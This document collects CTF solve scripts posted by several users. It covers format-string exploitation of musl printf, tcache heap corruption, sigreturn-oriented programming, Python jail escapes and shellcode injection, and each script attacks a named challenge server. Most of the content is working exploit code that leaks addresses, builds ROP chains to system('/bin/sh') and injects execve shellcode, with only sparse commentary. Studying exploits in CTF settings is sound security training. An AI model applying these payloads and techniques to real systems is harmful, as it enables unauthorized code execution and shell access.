payload = p64(0x11111111fbad2005) + b"; /bin/sh\x00\x00\x00\x00\x00\x00\x00" + p64(libc_base + 0x21a803) * 5 + p64(libc_base + 0x21a804) + p64(0) * 4 + p64(libc_base + 0x21aaa0) + p64(1) + p64(0xffffffffffffffff) + p64(0) + p64(libc_base + 2214512) + p64(0xffffffffffffffff) + p64(0) + p64(libc_base + 0x21a8d0) + p64(0) * 3 + p64(0xffffffff) + p64(0) * 2 + p64(libc_base + 0x216018 - 0x38) + p64(libc_base + libc.sym._IO_2_1_stderr_) + p64(libc_base + libc.sym._IO_2_1_stdout_) + p64(libc_base + 0x216018) + p64(libc_base + 0x3a040) + p64(libc_base + 0x2a160) + p64(0) + p64(libc_base + libc.sym.system) + p64(0) * 7 + p64(0) * 28 + p64(libc_base + 0x21a828)
print(len(payload))
r.interactive()
r.sendline(payload)
r.interactive()
- phandinhluc_at19a
this is my format muscle script. use fmt vuln to leak lib base, stack infor then use fmt vuln change return addr of printf function -> ROP
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def leak(p, payload):
sl(p, payload)
ru(p, b'|')
leak = int(ru(p, b'|').replace(b'|', b''), 16)
return leak
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*main+92
c
''')
input()
def main():
context.binary = exe = ELF("./format-muscle_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-musl-x86_64.so.1", checksec=False)
# p = process(exe.path)
p = remote("format-muscle.chal.crewc.tf",1337)
# GDB(p)
# leak information
payload = b'%p'*32 + b'|%p|'
exe_leak = leak(p, payload)
payload = b'%p'*36 + b'|%p|'
stack = leak(p, payload)
payload = b'%p'*40 + b'|%p|'
lib_leak = leak(p, payload)
print("exe leak:", hex(exe_leak))
print("stack:", hex(stack))
print("lib leak:", hex(lib_leak))
exe_base = exe_leak - 4505
lib_base = lib_leak - 110558
print("exe base:", hex(exe_base))
print("lib base:", hex(lib_base))
target = stack - 0x158
pop_rdi = lib_base + 0x00000000000152a1
system = lib_base + 0x4e0c0
# change data : overwrite {return address} of printf@ function
add_rsp_0x90 = lib_base + 0x0000000000058faa
package = {
add_rsp_0x90 >> 0 & 0xffff: target,
add_rsp_0x90 >> 16 & 0xffff: target+2,
add_rsp_0x90 >> 32 & 0xffff: target+4,
}
# GDB(p)
order = sorted(package)
off = 20-2
pa = f"%{order[0] -off}c".encode() + b'%c'*off + b'%hn'
pa += f"%{order[1] - order[0]}c".encode() + b'%hn'
pa += f"%{order[2] - order[1]}c".encode() + b'%hn'
pa = pa.ljust(0x70)
pa += flat(package[order[0]], 0, package[order[1]], 0, package[order[2]])
pa += flat(
pop_rdi,
target+0xb8,
system,
b'/bin/sh\0'
)
sl(p, pa)
p.interactive()
if __name__ == "__main__":
main()
# crew{why_n0t_%1337$p_1n_musl???}
- carixo
#!/usr/bin/env python3
from pwn import *
exe = ELF("./format-muscle_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-musl-x86_64.so.1")
context.binary = exe
context.log_level = "debug"
#p = exe.process()
p = remote("format-muscle.chal.crewc.tf", 1337)
def send(payload):
p.sendline(payload)
return p.recvline().strip(b"\n")
p.recvuntil("== proof-of-work: disabled ==\n")
leak = send("%p."*41).split(b".")
exe.address = int(leak[32], 16) - 4505
ld.address = int(leak[-2], 16) - 110558
stack_leak = int(leak[34], 16)
printf_ret = stack_leak - 352
print(hex(ld.address))
print(hex(exe.address))
print(hex(printf_ret))
rop = ROP(ld)
rop.system(next(ld.search(b"/bin/sh\0")))
shit = (fmtstr_payload(6, {printf_ret:rop.chain()}, no_dollars=True, write_size="short"))
print(shit)
print(len(shit))
#gdb.attach(p)
p.sendline(shit)
p.interactive()
- lebronli1986
i used stdin->read
to solve it:
https://gist.github.com/lebr0nli/46040b005879df9936a9ab64c0f1caf4
- jgreem
from pwn import *
#HEAP IS SO FREEEEEEEEE!!!!!!!!!!!!!!!!!!!!
e = ELF('heap01')
context.terminal = ['tmux', 'splitw', '-h']
#io = process(e.path)
#io = gdb.debug('./heap01', '''b *func0 + 337
# c''')
io = remote("2024.sunshinectf.games", 24006 )
win = e.symbols['win'] + 5
#junk
io.sendline(b'abcppp')
io.recvline()
io.recvline()
io.recvline()
io.recvline()
#grab given buffer
buf = int(io.recvline(),16) + 0x28 - 0x8
#malloc size taches are size 0x10
size = 16
io.sendlineafter(b'size',str(size).encode())
#tcache win, this is to add the buffer of my choice into the tcache so malloc
#gives me this buffer when called
print(io.sendlineafter(b"Index", str(-0x220 - 36).encode()))
io.sendlineafter(b"Value", str(buf).encode() )
#set the count to 1 so the tcache actually works
io.sendlineafter(b"Index", str(-0x254).encode())
io.sendlineafter(b"Value", str(1).encode() )
#spam win
io.sendline( str(win).encode())
io.sendline( str(win).encode())
io.sendline( str(win).encode())
io.interactive()
- 0xm4hm0ud
#!/usr/bin/env python3
from pwn import *
elf = ELF("./heap01_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.binary = elf
context.log_level = "DEBUG"
context.terminal = "cmd.exe /c start wsl".split()
# p = elf.process(); gdb.attach(p, "b*0x40139A\nc")
p = remote("2024.sunshinectf.games", 24006)
p.sendlineafter(b"leak? \n", b"no")
p.sendlineafter(b"size: \n", str(0x22000).encode())
idx = (libc.got.strlen + 0x26000) // 8 - 2
p.sendlineafter(b"Index: \n", str(idx).encode())
p.sendlineafter(b"Value: \n", str(elf.sym.win).encode())
p.interactive()
- mheidari98
from pwn import *
context.log_level = "critical"
i = lambda idx: f"'{'_'*idx}'.__len__()"
f = lambda key: f"'{'_'*5}{key}{'_'*2}'['{'_'*5}'.__len__():'{'_'*(5+len(key))}'.__len__()]"
base = f"'_____'.__class__.__base__.__subclasses__()[{i(147)}]"
code = base + f".__init__.__globals__[{f('sys')}].__getattribute__({f('modules')})[{f('builtins')}].__getattribute__({f('__import__')})({f('os')}).__getattribute__({f('system')})({f('sh')})"
p = remote(*'jail.ctf.intigriti.io 1351'.split())
p.sendlineafter(b'for: ', code.encode())
p.interactive()
- oh_word
Use basic tricks you can find on hacktricks to recover builtins. Once you have builtins, I used __doc__
to craft strings and __import__('os').__getattriubute__('system')('sh')
import re
def make_solve_script() -> str:
# recovers builtins from _frozen_importlib._BlockingOnManager and does a |= (__ior__) with the current (empty) builtins dict, then from there we can use
# all builtins as normal so we can just do a normal escape with __import__("os").__getattribute__("system")("sh")
_BlockingOnManager_idx = 117
base = f"""\
[
__globals__:=[].__class__.__base__.__subclasses__()[{_BlockingOnManager_idx}].__init__.__globals__,
__builtins__.__ior__(__globals__[[*__globals__][5]]),
__import__("os").__getattribute__("system")("sh")
]
"""
# -~0 == 1, so just chain `num` of those to form any number
def gen_num(num):
assert num >= 0
return "-~" * num + "[].__len__()"
# so you can generate the solve for this without needing to be on the same version as remote
builtins___doc__ = "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed."
# after recovering builtins, we have the __doc__ of builtins so we can craft strings using that
def gen_str(string):
chunks = []
for c in string:
idx = builtins___doc__.index(c)
chunks.append(f"__doc__[{gen_num(idx)}]")
return "+".join(chunks)
code = re.sub(r"\d+", lambda match: gen_num(int(match.group(0))), base)
code = re.sub(r'"(.+?)"', lambda match: gen_str(match.group(1)), code)
code = code.replace(" ", "").replace("\n", "")
return code
if __name__ == '__main__':
print(make_solve_script())
# [__globals__:=[].__class__.__base__.__subclasses__()[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()].__init__.__globals__,__builtins__.__ior__(__globals__[[*__globals__][-~-~-~-~-~[].__len__()]]),__import__(__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]).__getattribute__(__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()])(__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()])]
- sethboy
p = remote(IP, PORT)
def setbyte(address: int, byte: int):
p.sendlineafter(b'wish?', hex(address).encode())
p.sendlineafter(b'here?', hex(byte).encode())
libc_base = p.recvline_contains(b'libc.so.6')
libc = int(libc_base.decode().split('-')[0], 16)
success(f'{libc=:x}')
offset = 0x7ffff7c47a21 - 0x7ffff7c00000
# libc = 0x7ffff7c00000
# setbyte(0x7ffff7c47a21+1, 0xa8)
# setbyte(0x7ffff7c47a21+2, 0x7a)
setbyte(libc + offset + 1, 0x05)
setbyte(libc + offset + 2, 0x7b)
p.sendline(b'cat /flag.txt')
p.interactive()
- 个人解法
看了别人的解法后觉得小丑竟是我自己……我真的太擅长化简为繁了
from pwn import *
filename="./chal"
file=ELF(filename)
libc=ELF("./libc.so.6")
context.arch="amd64"
p=remote("mixed-signal.chals.nitectf2024.live",1337,ssl=True)
bss=0x404070+0x700
read=0x004011f3
syscall=0x0040119a
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_write
sigframe.rdi = 1
sigframe.rsi = file.got['puts']
sigframe.rdx = 6
sigframe.rsp = bss+0x80
sigframe.rbp = bss+0x88
sigframe.rip = syscall
p.recvuntil("freakbob calling,pickup!\n")
p.sendline(b'a'*8+p64(bss+0x88)+p64(read))
pause() #这些pause是必需的……删了会导致打不通
p.sendline(b'a'*16+p64(file.plt['read'])+p64(syscall)+bytes(sigframe)+p64(read))
pause()
p.sendline(p64(read).ljust(14,b'a'))
pause()
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(f"{hex(libc.address)=}")
rax=next(libc.search(asm('pop rax; ret'), executable=True))
pause()
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_sendfile
sigframe.rdi = 1
sigframe.rsi = 5
sigframe.rdx = bss+0x500
sigframe.r10 = 50
sigframe.rsp = bss+0x80+24+248
sigframe.rbp = bss+0x300
sigframe.rip = syscall
p.sendline(p64(rax)+p64(15)+p64(syscall)+bytes(sigframe)+p64(0x0040148e))
p.interactive()
思路是搞栈迁移,第一个sigframe用来泄漏libc地址,第二个sigframe用来输出flag(题目已经提前打开了flag,所以有现成的fd)。事实上直接删掉第一个sigframe直接上flag的sigframe就好了……
- lepnoxic
seccomp dump shows that only open read write is allowed, a thread is created with arbitary read on an rwx region, there is a common vulnerability with threads called as a master canary, a master canary is located in the thread region itself which is used as the canary, so if you override there aswell, so you can match both values, with that we have gotten bof on the region and the region pointer already given, we jump on the region, from here shellcode execution.
the challenge name blind meaning both stdin stdout was closed, i tried opening them again didn't work, dup2 could have worked but it's not in the seccomp filter, thus was thinking of doing a timing attack side channel, but my teammate suggested just give it in stderr, and that worked, so yeah could have been a much harder challenge.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./blind_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("55af8adb9a3305ab611b8f6df481c080.chal.ctf.ae", 443, ssl=True)
return r
def main():
r = conn()
# gdb.attach(r, '''
# gef config context.nb_lines_stack 30
# b *vuln+222
# c
# canary
# ''')
r.recvuntil(b'Buffer: 0x')
output = int(r.recvline(), 16)
print(hex(output))
payload = asm(shellcraft.amd64.linux.cat2(b'flag.txt', fd=2) + \
shellcraft.amd64.linux.exit(0))
payload = payload + b'\x90' * (2048 - len(payload))
r.sendlineafter(b'shellcode: ', b'2248')
r.sendlineafter(b'Escape>', b'A' * 0x78 + b'\x90' * 16 + p64(output + 0x90) + payload + p64(output) + b'A' * (2216 - 2200) + b'\x90' * 8)
r.interactive()
if __name__ == "__main__":
main()
- steakenthusiast
Hint 1: You need RCE, so you might have to use a module like execSync
somehow. One of Babel's parser options should stand out to you
Hint 2: Type coercion is your friend when it comes to getting arbitrary strings
Hint 3 (Big): Javascript may allow some interesting syntax when it comes to importing modules dynamically
- 个人
from pwn import *
context.arch="amd64"
p=remote("2e06aba1-4509-4088-a20d-3bb4b6e0a7a9.x3c.tf",31337,ssl=True)
p.recvuntil("pid: ")
pid=p.recvline(keepends=False).decode()
print(f"{pid=}")
shellcode=b'H1\xd2H1\xf6H\xbf//bin/shVWH\x89\xe7H1\xc0\xb0;\x0f\x05'
payload=shellcraft.open(f"/proc/{pid}/mem",2,0)+shellcraft.lseek(3,0x00401c8f)
print(payload)
"""
mov [rdi],rax
mov rax,1
mov rsi,rdi
mov rdi,1
mov rdx,8
syscall
"""
#shellcode=b"\x48\x89\x07\x48\xC7\xC0\x01\x00\x00\x00\x48\x89\xFE\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x08\x00\x00\x00\x0F\x05"
"""
mov rax,60
xor rdi,rdi
syscall
"""
#shellcode=b"\x48\xC7\xC0\x3C\x00\x00\x00\x48\x31\xFF\x0F\x05"
#p.sendlineafter(":",asm(payload))
"""
push 3
pop rdi
push 0x1c
pop rdx
mov rsi,rcx
add rsi,18
push 1
pop rax
syscall
"""
p.sendlineafter(":",asm(payload)+b"\x6A\x03\x5F\x6A\x1C\x5A\x48\x89\xCE\x48\x83\xC6\x12\x6A\x01\x58\x0F\x05"+shellcode)
p.interactive()
https://github.com/captainGeech42/ctf-writeups/tree/master/google2020/writeonly
关键是搞/proc/[pid]/mem
。很诡异的一点是我在本地process和remote都能open /proc/pid/mem,但是自己搭的题目提供的docker里却不行……后面在服务器里找到了作者的解答:
TLDR: The Challenge needed to be run with the SYS_PTRACE capability, but the platform did not have a way to add custom capabilities at the time the challenge was released, so the platform had to be patched.
docker搭出的机器里的/proc/sys/kernel/yama/ptrace_scope
为1,而且the cluster didn't allow ptrace in the containers
。这两个设置会对特定的文件启用保护,/proc/[pid]/mem
就在其中。把/proc/sys/kernel/yama/ptrace_scope
设为0就能正常打开/proc/[pid]/mem
文件了